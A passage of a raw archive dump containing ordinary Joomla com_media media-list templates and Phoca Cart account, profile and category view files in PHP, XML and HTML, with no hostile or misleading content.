echo rawurlencode($folder->path_relative); ?>"
target="folderframe">
<?php echo JHtml::_('string.truncate',
$this->escape($folder->name), 10, false); ?>
</a>
</div>
</li>
<?php endforeach; ?>
medialist/tmpl/thumbs_imgs.php000064400000004073151165632210012533
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
$params = new Registry;
$dispatcher = JEventDispatcher::getInstance();
?>
<?php foreach ($this->images as $i => $img) : ?>
<?php $dispatcher->trigger('onContentBeforeDisplay',
array('com_media.file', &$img, &$params, 0)); ?>
<li class="imgOutline thumbnail height-80 width-80
center">
<?php if ($this->canDelete) : ?>
<a class="close delete-item" target="_top"
href="index.php?option=com_media&task=file.delete&tmpl=index&<?php
echo JSession::getFormToken(); ?>=1&folder=<?php echo
rawurlencode($this->state->folder); ?>&rm[]=<?php echo
$this->escape($img->name); ?>"
rel="<?php echo $this->escape($img->name); ?>"
title="<?php echo JText::_('JACTION_DELETE');
?>">×</a>
<div class="pull-left">
<?php echo JHtml::_('grid.id', $i,
$this->escape($img->name), false, 'rm',
'cb-image'); ?>
</div>
<div class="clearfix"></div>
<?php endif; ?>
<div class="height-50">
<a class="img-preview" href="<?php echo
COM_MEDIA_BASEURL . '/' . str_replace('%2F',
'/', rawurlencode($img->path_relative)); ?>"
title="<?php echo $this->escape($img->name); ?>" >
<?php echo JHtml::_('image', COM_MEDIA_BASEURL .
'/' . $this->escape($img->path_relative),
JText::sprintf('COM_MEDIA_IMAGE_TITLE',
$this->escape($img->title), JHtml::_('number.bytes',
$img->size)), array('width' => $img->width_60,
'height' => $img->height_60)); ?>
</a>
</div>
<div class="small">
<a href="<?php echo COM_MEDIA_BASEURL, '/',
rawurlencode($img->path_relative); ?>" title="<?php echo
$this->escape($img->name); ?>" class="preview">
<?php echo JHtml::_('string.truncate',
$this->escape($img->name), 10, false); ?>
</a>
</div>
</li>
<?php $dispatcher->trigger('onContentAfterDisplay',
array('com_media.file', &$img, &$params, 0)); ?>
<?php endforeach; ?>
medialist/tmpl/thumbs_up.php000064400000001660151165632210012217
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<?php if ($this->state->folder != '') : ?>
<li class="imgOutline thumbnail height-80 width-80 center">
<div class="imgTotal">
<div class="imgBorder">
<a class="btn"
href="index.php?option=com_media&view=mediaList&tmpl=component&folder=<?php
echo rawurlencode($this->state->parent); ?>"
target="folderframe">
<span class="icon-arrow-up"></span></a>
</div>
</div>
<div class="controls">
<span> </span>
</div>
<div class="imginfoBorder">
<a
href="index.php?option=com_media&view=mediaList&tmpl=component&folder=<?php
echo rawurlencode($this->state->parent); ?>"
target="folderframe">..</a>
</div>
</li>
<?php endif; ?>
medialist/tmpl/thumbs_videos.php000064400000003673151165632210013072
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
$params = new Registry;
$dispatcher = JEventDispatcher::getInstance();
JFactory::getDocument()->addScriptDeclaration("
jQuery(document).ready(function($){
window.parent.jQuery('#videoPreview').on('hidden',
function () {
window.parent.jQuery('#mejsPlayer')[0].player.pause();
});
});
");
?>
<?php foreach ($this->videos as $i => $video) : ?>
<?php $dispatcher->trigger('onContentBeforeDisplay',
array('com_media.file', &$video, &$params, 0)); ?>
<li class="imgOutline thumbnail height-80 width-80
center">
<?php if ($this->canDelete) : ?>
<a class="close delete-item" target="_top"
href="index.php?option=com_media&task=file.delete&tmpl=index&<?php
echo JSession::getFormToken(); ?>=1&folder=<?php echo
rawurlencode($this->state->folder); ?>&rm[]=<?php echo
$this->escape($video->name); ?>" rel="<?php echo
$this->escape($video->name); ?>" title="<?php echo
JText::_('JACTION_DELETE'); ?>">×</a>
<div class="pull-left">
<?php echo JHtml::_('grid.id', $i,
$this->escape($video->name), false, 'rm',
'cb-video'); ?>
</div>
<div class="clearfix"></div>
<?php endif; ?>
<div class="height-50">
<?php echo JHtml::_('image', $video->icon_32,
$this->escape($video->title), null, true); ?>
</div>
<div class="small">
<a class="video-preview" href="<?php echo
COM_MEDIA_BASEURL, '/', rawurlencode($video->path_relative);
?>" title="<?php echo $this->escape($video->name);
?>">
<?php echo JHtml::_('string.truncate',
$this->escape($video->name), 10, false); ?>
</a>
</div>
</li>
<?php $dispatcher->trigger('onContentAfterDisplay',
array('com_media.file', &$video, &$params, 0)); ?>
<?php endforeach; ?>
medialist/view.html.php000064400000003137151165632210011153
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* HTML View class for the Media component
*
* @since 1.0
*/
class MediaViewMediaList extends JViewLegacy
{
/**
* Execute and display a template script.
*
* @param string $tpl The name of the template file to parse;
automatically searches through the template paths.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @since 1.0
*/
public function display($tpl = null)
{
$app = JFactory::getApplication();
if (!$app->isClient('administrator'))
{
return
$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'),
'warning');
}
// Do not allow cache
$app->allowCache(false);
$this->images = $this->get('images');
$this->documents = $this->get('documents');
$this->folders = $this->get('folders');
$this->videos = $this->get('videos');
$this->state = $this->get('state');
// Check for invalid folder name
if (empty($this->state->folder))
{
$dirname =
JFactory::getApplication()->input->getPath('folder',
'');
if (!empty($dirname))
{
$dirname = htmlspecialchars($dirname, ENT_COMPAT, 'UTF-8');
JError::raiseWarning(100,
JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_BROWSE_FOLDER_WARNDIRNAME',
$dirname));
}
}
$user = JFactory::getUser();
$this->canDelete = $user->authorise('core.delete',
'com_media');
parent::display($tpl);
}
}
account/index.html000064400000000054151165726710010207
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>account/metadata.xml000064400000000271151165726710010515
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_ACCOUNT_GROUP">
<message><![CDATA[COM_PHOCACART_ACCOUNT_GROUP_DESC]]></message>
</view>
</metadata>account/tmpl/default.php000064400000013241151165726710011325
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutUL = new JLayoutFile('user_login', null,
array('component' => 'com_phocacart'));
$layoutUR = new JLayoutFile('user_register', null,
array('component' => 'com_phocacart'));
echo '<div id="ph-pc-account-box"
class="pc-account-view'.$this->p->get(
'pageclass_sfx' ).'">';
echo
PhocacartRenderFront::renderHeader(array(JText::_('COM_PHOCACART_MY_ACCOUNT')));
/*if ( $this->t['description'] != '') {
echo '<div class="ph-desc">'.
$this->t['description']. '</div>';
}*/
if ((int)$this->u->id > 0) {
// Reward Points
if ((int)$this->t['display_reward_points_total_info'] > 0)
{
echo '<div
class="'.$this->s['c']['row'].'
ph-account-box-row" >';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-account-box-header"
id="phaccountrewardpoints"><h3>'.JText::_('COM_PHOCACART_REWARD_POINTS').'</h3></div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row'].'
ph-account-box-action">';
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'">'.
JText::_('COM_PHOCACART_TOTAL_AMOUNT_OF_YOUR_REWARD_POINTS') .
': </div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'">'.$this->t['rewardpointstotal'].'</div>';
//echo '<div class="ph-cb"></div>';
echo '</div>'."\n";// end box action
}
// Header
echo '<div
class="'.$this->s['c']['row'].'
ph-account-box-row" >';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-account-box-header"
id="phaccountaddressedit"><h3>'.JText::_('COM_PHOCACART_BILLING_AND_SHIPPING_ADDRESS').'</h3></div>';
echo '</div>';
echo '<form
action="'.$this->t['linkcheckout'].'"
method="post"
class="'.$this->s['c']['form-horizontal.form-validate'].'"
role="form" id="phcheckoutAddress">';
echo '<div id="ph-request-message"
style="display:none"></div>';
echo '<div
class="'.$this->s['c']['row'].'
ph-account-box-action">';
echo '<div
class="'.$this->s['c']['col.xs12.sm6.md6'].'
ph-account-billing-row" id="phBillingAddress" >';
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_BILLING_ADDRESS').'</div>';
echo $this->t['dataaddressform']['b'];
echo '</div>';// end row
echo '<div
class="'.$this->s['c']['col.xs12.sm6.md6'].'
ph-account-shipping-row" id="phShippingAddress" >';
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_SHIPPING_ADDRESS').'</div>';
echo $this->t['dataaddressform']['s'];
echo '</div>';// end row
//echo '<div class="ph-cb"></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
'.$this->s['c']['pull-right'].' ph-right
ph-account-check-box">';
if ($this->t['dataaddressform']['s'] !=
'' &&
$this->t['$delivery_billing_same_enabled'] != -1) {
echo '<div class="checkbox">';
echo '<label><input type="checkbox"
id="phCheckoutBillingSameAsShipping"
name="phcheckoutbsas" ' .
$this->t['dataaddressform']['bsch'] . ' >
' .
JText::_('COM_PHOCACART_DELIVERY_AND_BILLING_ADDRESSES_ARE_THE_SAME')
. '</label>';
echo '</div>';
}
echo '</div>';
//echo '<div class="ph-cb"></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
'.$this->s['c']['pull-right'].' ph-right
ph-account-address-save">';
echo '<button class="btn btn-primary btn-sm
ph-btn"><span
class="'.$this->s['i']['save'].'"></span>
'.JText::_('COM_PHOCACART_SAVE').'</button>';
//echo '<input type="submit" value="submit"
/>';
echo '</div>';
//echo '<div class="ph-cb"></div>';
echo '</div>'."\n";// end box action
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden" name="task"
value="checkout.saveaddress" />'. "\n";
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>'. "\n";
if ($this->t['display_edit_profile'] == 1) {
echo $this->loadTemplate('profile');
}
} else {
require_once
JPATH_SITE.'/components/com_users/helpers/route.php';
jimport( 'joomla.application.module.helper' );
$module = JModuleHelper::getModule('mod_login');
$mP = new JRegistry();
$mP->loadString($module->params);
$lang = JFactory::getLanguage();
$lang->load('mod_login');
echo '<div
class="'.$this->s['c']['row'].'
ph-account-box-row" >';
//echo '<div class="ph-account-box-header"
id="phaccountloginedit"><div
class="ph-pull-right"><span
class="'.$this->s['i']['remove-circle'].'
ph-account-icon-not-ok"></span></div><h3>1.
'.JText::_('COM_PHOCACART_LOGIN_REGISTER').'</h3></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-account-box-header"
id="phaccountloginedit"><h3>'.JText::_('COM_PHOCACART_LOGIN_REGISTER').'</h3></div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row'].'
ph-account-box-action">';
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'
ph-right-border">';
$d = array();
$d['s'] = $this->s;
$d['t'] = $this->t;
echo $layoutUL->render($d);
echo '</div>'. "\n";// end columns
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-left-border">';
$d = array();
$d['s'] = $this->s;
$d['t'] = $this->t;
echo $layoutUR->render($d);
echo '</div>'. "\n";// end columns
echo '<div class="ph-cb"></div>';
echo '</div>'. "\n";// end account box login
echo '</form>'. "\n";
}
echo '</div>';
echo '<div> </div>';
echo PhocacartUtilsInfo::getInfo();
?>
account/tmpl/default.xml000064400000000730151165726710011335
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_ACCOUNT_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_ACCOUNT_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_ACCOUNT_LAYOUT</name>
<description>COM_PHOCACART_ACCOUNT_LAYOUT_DESC</description>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
</fieldset>
</fields>
</metadata>account/tmpl/default_profile.php000064400000023674151165726710013060
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage com_users
*
* @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
Joomla\CMS\HTML\HTMLHelper::_('behavior.keepalive');
Joomla\CMS\HTML\HTMLHelper::_('behavior.formvalidation');
//Joomla\CMS\HTML\HTMLHelper::_('formbehavior.chosen',
'select');
//load user_profile plugin language
$lang = JFactory::getLanguage();
$lang->load('plg_user_profile', JPATH_ADMINISTRATOR);
?>
<div class="profile-edit<?php /* echo $this->pageclass_sfx */
?>">
<?php if ($this->params->get('show_page_heading')) :
?>
<div class="page-header">
<h1><?php echo
$this->escape($this->params->get('page_heading'));
?></h1>
</div>
<?php endif; ?>
<script type="text/javascript">
Joomla.twoFactorMethodChange = function(e)
{
var selectedPane = 'com_users_twofactor_' +
jQuery('#jform_twofactor_method').val();
jQuery.each(jQuery('#com_users_twofactor_forms_container>div'),
function(i, el) {
if (el.id != selectedPane)
{
jQuery('#' + el.id).hide(0);
}
else
{
jQuery('#' + el.id).show(0);
}
});
}
</script>
<?php
// Header
echo '<div
class="'.$this->s['c']['row'].'
ph-account-box-row" >';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-account-box-header"
id="phaccountaddressedit"><h3>'.JText::_('COM_PHOCACART_EDIT_MY_PROFILE').'</h3></div>';
echo '</div>';
echo '<form
action="'.$this->t['linkaccount'].'"
method="post" class="form-horizontal form-validate"
role="form" id="phcheckoutAddress">';
echo '<div
class="'.$this->s['c']['row'].'
ph-account-box-action">';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-account-billing-row" id="phUserProfile" >';
//echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_USER_PROFILE').'</div>';
?>
<?php foreach ($this->form->getFieldsets() as $group =>
$fieldset):// Iterate through the form fieldsets and display each one.?>
<?php $fields = $this->form->getFieldset($group);
if ($group != 'core') {
continue;
}
?>
<?php if (count($fields)):
/* ?>
<fieldset>
<?php if (isset($fieldset->label)):// If the fieldset has a label
set, display it as the legend.?>
<legend><?php echo JText::_($fieldset->label);
?></legend>
<?php endif; */ ?>
<?php foreach ($fields as $field):// Iterate through the fields in the
set and display them.?>
<?php if ($field->hidden):// If the field is hidden, just display
the input.?>
<div class="<?php echo
$this->s['c']['control-group'] ?>">
<div class="<?php echo
$this->s['c']['controls'] ?>">
<?php echo $field->input;?>
</div>
</div>
<?php else:?>
<div class="<?php echo
$this->s['c']['control-group'] ?>">
<div class="<?php echo
$this->s['c']['control-label'] ?>">
<?php echo $field->label; ?>
<?php if (!$field->required && $field->type !=
'Spacer') : ?>
<span class="optional"><?php echo
JText::_('COM_USERS_OPTIONAL'); ?></span>
<?php endif; ?>
</div>
<div class="<?php echo
$this->s['c']['controls'] ?>">
<?php echo $field->input; ?>
</div>
</div>
<?php endif;?>
<?php endforeach;?>
<?php /* </fieldset> */ ?>
<?php endif;?>
<?php endforeach;?>
<?php if (count($this->twofactormethods) > 1): ?>
<fieldset>
<legend><?php echo
JText::_('COM_USERS_PROFILE_TWO_FACTOR_AUTH')
?></legend>
<div class="<?php echo
$this->s['c']['control-group'] ?>">
<div class="<?php echo
$this->s['c']['control-label'] ?>">
<label id="jform_twofactor_method-lbl"
for="jform_twofactor_method" class="<?php echo
$this->s['c']['hastooltip'] ?>"
title="<strong><?php echo
JText::_('COM_USERS_PROFILE_TWOFACTOR_LABEL')
?></strong><br/><?php echo
JText::_('COM_USERS_PROFILE_TWOFACTOR_DESC') ?>">
<?php echo JText::_('COM_USERS_PROFILE_TWOFACTOR_LABEL');
?>
</label>
</div>
<div class="controls">
<?php echo
Joomla\CMS\HTML\HTMLHelper::_('select.genericlist',
$this->twofactormethods, 'jform[twofactor][method]',
array('onchange' =>
'Joomla.twoFactorMethodChange()'), 'value',
'text', $this->otpConfig->method,
'jform_twofactor_method', false) ?>
</div>
</div>
<div id="com_users_twofactor_forms_container">
<?php foreach($this->twofactorform as $form): ?>
<?php $style = $form['method'] ==
$this->otpConfig->method ? 'display: block' :
'display: none'; ?>
<div id="com_users_twofactor_<?php echo
$form['method'] ?>" style="<?php echo $style;
?>">
<?php echo $form['form'] ?>
</div>
<?php endforeach; ?>
</div>
</fieldset>
<fieldset>
<legend>
<?php echo JText::_('COM_USERS_PROFILE_OTEPS') ?>
</legend>
<div class="alert alert-info">
<?php echo JText::_('COM_USERS_PROFILE_OTEPS_DESC') ?>
</div>
<?php if (empty($this->otpConfig->otep)): ?>
<div class="alert alert-warning">
<?php echo JText::_('COM_USERS_PROFILE_OTEPS_WAIT_DESC')
?>
</div>
<?php else: ?>
<?php foreach ($ths->otpConfig->otep as $otep): ?>
<span class="<?php echo
$this->s['c']['col.xs12.sm3.md3']?>">
<?php echo substr($otep, 0, 4) ?>-<?php echo substr($otep, 4,
4) ?>-<?php echo substr($otep, 8, 4) ?>-<?php echo
substr($otep, 12, 4) ?>
</span>
<?php endforeach; ?>
<div class="ph-cb"></div>
<?php endif; ?>
</fieldset>
<?php endif; ?>
<?php
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
'.$this->s['c']['pull-right'].' ph-right
ph-account-address-save">';
echo '<button
class="'.$this->s['c']['btn.btn-primary.btn-sm'].'
ph-btn"><span
class="'.$this->s['i']['save'].'"></span>
'.JText::_('COM_PHOCACART_SAVE').'</button>';
//echo '<input type="submit" value="submit"
/>';
echo '</div>';
echo '</div>';// end row
echo '</div>';// end row
//echo '<div class="ph-cb"></div>';
//echo '<div class="ph-cb"></div>';
echo '</div>'."\n";// end box action
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden" name="task"
value="account.saveprofile" />'. "\n";
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>'. "\n";
/*
?>
<form id="member-profile" action="<?php echo
JRoute::_('index.php?option=com_phocacart&task=account.save');
?>" method="post" class="form-validate
form-horizontal" enctype="multipart/form-data">
<?php foreach ($this->form->getFieldsets() as $group =>
$fieldset):// Iterate through the form fieldsets and display each one.?>
<?php $fields = $this->form->getFieldset($group);?>
<?php if (count($fields)):
?>
<fieldset>
<?php if (isset($fieldset->label)):// If the fieldset has a label
set, display it as the legend.?>
<legend><?php echo JText::_($fieldset->label);
?></legend>
<?php endif;?>
<?php foreach ($fields as $field):// Iterate through the fields in the
set and display them.?>
<?php if ($field->hidden):// If the field is hidden, just display
the input.?>
<div class="control-group">
<div class="controls">
<?php echo $field->input;?>
</div>
</div>
<?php else:?>
<div class="control-group">
<div class="control-label">
<?php echo $field->label; ?>
<?php if (!$field->required && $field->type !=
'Spacer') : ?>
<span class="optional"><?php echo
JText::_('COM_USERS_OPTIONAL'); ?></span>
<?php endif; ?>
</div>
<div class="controls">
<?php echo $field->input; ?>
</div>
</div>
<?php endif;?>
<?php endforeach;?>
</fieldset>
<?php endif;?>
<?php endforeach;?>
<?php if (count($this->twofactormethods) > 1): ?>
<fieldset>
<legend><?php echo
JText::_('COM_USERS_PROFILE_TWO_FACTOR_AUTH')
?></legend>
<div class="control-group">
<div class="control-label">
<label id="jform_twofactor_method-lbl"
for="jform_twofactor_method" class="<?php echo
$this->s['c']['hastooltip'] ?>"
title="<strong><?php echo
JText::_('COM_USERS_PROFILE_TWOFACTOR_LABEL')
?></strong><br/><?php echo
JText::_('COM_USERS_PROFILE_TWOFACTOR_DESC') ?>">
<?php echo JText::_('COM_USERS_PROFILE_TWOFACTOR_LABEL');
?>
</label>
</div>
<div class="controls">
<?php echo
Joomla\CMS\HTML\HTMLHelper::_('select.genericlist',
$this->twofactormethods, 'jform[twofactor][method]',
array('onchange' =>
'Joomla.twoFactorMethodChange()'), 'value',
'text', $this->otpConfig->method,
'jform_twofactor_method', false) ?>
</div>
</div>
<div id="com_users_twofactor_forms_container">
<?php foreach($this->twofactorform as $form): ?>
<?php $style = $form['method'] ==
$this->otpConfig->method ? 'display: block' :
'display: none'; ?>
<div id="com_users_twofactor_<?php echo
$form['method'] ?>" style="<?php echo $style;
?>">
<?php echo $form['form'] ?>
</div>
<?php endforeach; ?>
</div>
</fieldset>
<fieldset>
<legend>
<?php echo JText::_('COM_USERS_PROFILE_OTEPS') ?>
</legend>
<div class="alert alert-info">
<?php echo JText::_('COM_USERS_PROFILE_OTEPS_DESC') ?>
</div>
<?php if (empty($this->otpConfig->otep)): ?>
<div class="alert alert-warning">
<?php echo JText::_('COM_USERS_PROFILE_OTEPS_WAIT_DESC')
?>
</div>
<?php else: ?>
<?php foreach ($this->otpConfig->otep as $otep): ?>
<span class="span3">
<?php echo substr($otep, 0, 4) ?>-<?php echo substr($otep, 4,
4) ?>-<?php echo substr($otep, 8, 4) ?>-<?php echo
substr($otep, 12, 4) ?>
</span>
<?php endforeach; ?>
<div class="clearfix"></div>
<?php endif; ?>
</fieldset>
<?php endif; ?>
<div class="form-actions">
<button type="submit" class="btn btn-primary
validate"><span><?php echo JText::_('JSUBMIT');
?></span></button>
<a class="btn" href="<?php echo
JRoute::_(''); ?>" title="<?php echo
JText::_('JCANCEL'); ?>"><?php echo
JText::_('JCANCEL'); ?></a>
<input type="hidden" name="option"
value="com_phocacart" />
<input type="hidden" name="task"
value="account.saveprofile" />
<?php
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
?>
</div>
</form>
</div>*/ ?>
account/tmpl/index.html000064400000000054151165726710011163
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>account/view.html.php000064400000010040151165726720010635
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewAccount extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $u;
protected $s;
protected $fields2;
protected $data2;
protected $form2;
// User profile
protected $params;
protected $fields;
protected $data;
protected $form;
protected $state;
protected $twofactorform;
protected $twofactormethods;
protected $otpConfig;
function display($tpl = null)
{
$app = JFactory::getApplication();
$this->u = PhocacartUser::getUser();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$document = JFactory::getDocument();
$this->p = $app->getParams();
$this->s =
PhocacartRenderStyle::getStyles();
$model = $this->getModel();
$this->t['action'] = $uri->toString();
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->t['linkaccount'] =
JRoute::_(PhocacartRoute::getAccountRoute());
$this->t['linkcheckout'] =
JRoute::_(PhocacartRoute::getCheckoutRoute());
$this->t['display_edit_profile'] = $this->p->get(
'display_edit_profile', 1 );
$this->t['display_reward_points_total_info']=
$this->p->get( 'display_reward_points_total_info', 0 );
$this->t['$delivery_billing_same_enabled'] =
$this->p->get('delivery_billing_same_enabled', 0);
$lang = JFactory::getLanguage();
//$lang->load('com_users.sys');
$lang->load('com_users');
if ((int)$this->u->id > 0) {
// Checkout Model
jimport('joomla.application.component.model');
JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_phocacart/models');
$modelCheckout = JModelLegacy::getInstance( 'Checkout',
'PhocaCartModel' );
// Check if all form items are filled out by user, if yes, don't
load the form and save some queries
$this->fields2 = $modelCheckout->getFields(0,0,1); // Fields
will be loaded in every case
$this->data2 = $modelCheckout->getData();
$this->form2 = $modelCheckout->getForm();
$this->t['dataaddressform'] =
PhocacartUser::getAddressDataForm($this->form2,
$this->fields2['array'], $this->u);
// USER PROFILE - USER MODULE
jimport('joomla.application.component.model');
//JLoader::import('user',JPATH_SITE.'/components/com_users/models');
JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_users/models');
$modelUsers = JModelLegacy::getInstance( 'Profile',
'UsersModel' );
$this->data = $modelUsers->getData();
$loadformpath = JPATH_SITE.'/components/com_users/models';
JForm::addFormPath($loadformpath.'/forms');
JForm::addFieldPath($loadformpath.'/fields');
$this->form = $modelUsers->getForm();
$this->state = $modelUsers->getState();
$this->params =
$this->state->get('params');
$this->twofactorform = $modelUsers->getTwofactorform();
$this->twofactormethods = UsersHelper::getTwoFactorMethods();
$this->otpConfig = $modelUsers->getOtpConfig();
$this->data->tags = new JHelperTags;
$this->data->tags->getItemTags('com_users.user.',
$this->data->id);
// REWARD POINTS
$reward = new PhocacartReward();
$this->t['rewardpointstotal'] =
$reward->getTotalPointsByUserId((int)$this->u->id);
}
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadChosen();
//- PhocacartRenderJs::renderBillingAndShippingSame();
$media->loadSpec();
$this->_prepareDocument();
parent::display($tpl);
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document, $this->p,
false, false, JText::_('COM_PHOCACART_ACCOUNT'));
}
}
?>
categories/index.html000064400000000054151165726720010701
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>categories/metadata.xml000064400000000277151165726720011215
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_CATEGORIES_GROUP">
<message><![CDATA[COM_PHOCACART_CATEGORIES_GROUP_DESC]]></message>
</view>
</metadata>categories/tmpl/default_colspan.php000064400000005735151165726730013550
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutC = new JLayoutFile('categories_category', null,
array('component' => 'com_phocacart'));
$i = $j = $k = 0;
$last = count($this->t['categories']);
$mod = $last%5;
echo '<div class="ph-t-box">';
foreach ($this->t['categories'] as $v) {
$size = 'medium';
// START
if ($j == 5|| ($j == 0 && $k > 0)) {//Not valid for first zero,
but valid for each zero after first round
echo '</div>';// End the row4 so 5 can start the new row
echo '<div
class="'.$this->s['c']['grid'].'
ph-row-cats ph-t-box">' . "\n";// Start the new row
after 4 ended it
}
if ($j == 0 || $j == 9) {
$size = 'large';
echo '<div class="ph-t-row ph-t-row-c1">' .
"\n";// c1 is colspan
echo ' <div
class="'.$this->s['c']['thumbnail'].'
ph-t-cell b-thumbnail ph-thumbnail ph-thumbnail-c">' .
"\n";
}
if ($j == 1 || $j == 3 || $j == 5 || $j == 7) {
if (($last - 2 == $i) && $mod != 0 ) {
echo '<div class="ph-t-row ph-t-row-c1">' .
"\n";// c2 is standard column (no colspan) - not for last group
} else if (($last - 1 == $i) && $mod == 2 ) {
echo '<div class="ph-t-row ph-t-row-c1">' .
"\n";// c2 is standard column (no colspan) - not for last group
$size = 'large';
} else {
echo '<div class="ph-t-row ph-t-row-c2">' .
"\n";// c2 is standard column (no colspan)
}
echo ' <div
class="'.$this->s['c']['thumbnail'].'
ph-t-cell b-thumbnail ph-thumbnail ph-thumbnail-c">' .
"\n";
}
if ($j == 2 || $j == 4 || $j == 6 || $j == 8) {
echo ' <div
class="'.$this->s['c']['thumbnail'].'
ph-t-cell b-thumbnail ph-thumbnail ph-thumbnail-c">' .
"\n";
}
//echo $this->loadTemplate('category');
//echo "Cell ". ($j) . "(".$i.") - ".$last;
echo '<div
class="'.$this->s['c']['grid'].'
ph-item-box">';
//echo '<div class="b-thumbnail ph-thumbnail
ph-thumbnail-c">';
//echo '<div class="ph-item-content">';
$d = array();
$d['t'] = $this->t;
$d['s'] = $this->s;
$d['v'] = $v;
$d['image_size'] = $size;
echo $layoutC->render($d);
echo '</div>';// end ph-item-box
//echo '<div class="clearfix"></div>';
//echo '</div>';// end ph-caption
//echo '</div>';// end ph-item-content
//echo '</div>';// end thumbnails
//echo '</div>';// end ph-item-box
// END
if ($j == 0 || $j == 2 || $j == 4 || $j == 6 || $j == 8 || $j == 9) {
echo ' </div>';
echo '</div>';
}
if ($j == 1 || $j == 3 || $j == 5 || $j == 7) {
echo ' </div>' . "\n";
if ($i == ($last - 1)) {
echo '</div>';// close last opened column
}
}
$i++;
$j++;
if ($j >= 10) {$j = 0; $k = 1;}// run the round again from start
}
echo '</div>';
?>
categories/tmpl/default_standard.php000064400000002442151165726730013701
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
